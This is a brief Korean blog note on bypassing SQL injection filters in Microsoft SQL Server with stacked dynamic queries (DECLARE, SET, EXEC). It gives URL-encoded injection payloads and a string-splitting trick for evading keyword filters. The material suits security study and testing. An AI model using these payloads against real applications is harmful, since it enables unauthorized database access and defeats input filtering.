웹/보안

MSSQL : Declare를 이용한 SQL 인젝션 우회기법

parktest0325 2019. 10. 16. 16:45

스택쿼리 + 동적쿼리 라고 부르는것 같다.

 

select 1 where id=''
Declare @cmd as varchar(3000)
Set @cmd='select 1 from information_schema.tables'
exec(@cmd)

 

테스트해본결과 ; 또는 개행 둘중 하나만 사용해야한다.

보기 좋게 개행(%0a), 공백(+)만 인코딩했다.

 

'%0aDeclare+@cmd+as+varchar(3000)%0aSet+@cmd='select+1+from+information_schema.tables'%0aexec(@cmd)

or

';declare+@cmd+as+varchar(3000);set+@cmd='select+1+from+information_schema.tables';exec(@cmd)

 

 

@cmd='sel'+'ect 1'+' fro'+'m inf'+'orma'+'tio'+'n_sc'+'hem'+'a.tab'+'les';

이런식으로 나누면 어떤문자열이든 필터링 무시하고 넣을 수 있다.